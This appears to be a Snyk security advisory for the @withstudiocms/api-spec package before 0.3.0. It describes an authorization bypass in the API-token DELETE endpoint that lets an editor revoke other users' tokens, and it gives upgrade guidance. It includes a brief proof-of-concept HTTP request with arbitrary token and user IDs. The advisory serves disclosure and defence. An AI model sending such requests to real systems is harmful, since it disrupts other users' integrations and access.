Authorization Bypass Through User-Controlled Key Affecting @withstudiocms/api-spec package, versions <0.3.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.04% (13th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Authorization Bypass Through User-Controlled Key vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-WITHSTUDIOCMSAPISPEC-15518583
  • published13 Mar 2026
  • disclosed11 Mar 2026
  • creditFilipeGaudard

Introduced: 11 Mar 2026

NewCVE-2026-30945  (opens in a new tab)
CWE-639  (opens in a new tab)

How to fix?

Upgrade @withstudiocms/api-spec to version 0.3.0 or higher.

Overview

@withstudiocms/api-spec is an API Specification for StudioCMS

Affected versions of this package are vulnerable to Authorization Bypass Through User-Controlled Key via the DELETE /studiocms_api/dashboard/api-tokens endpoint. An attacker can revoke API tokens belonging to other users, including higher-privileged accounts, by supplying arbitrary tokenID and userID values without ownership or role validation, resulting in disruption of integrations and automated workflows.

PoC

DELETE /studiocms_api/dashboard/api-tokens HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<editor_session_cookie>
Content-Type: application/json
Accept: application/json
Content-Length: 98

{
  "tokenID": "16a2e549-513b-40ac-8ca3-858af6118afc",
  "userID": "2450bf33-0135-4142-80be-9854f9a5e9f1"
}

CVSS Base Scores

version 4.0
version 3.1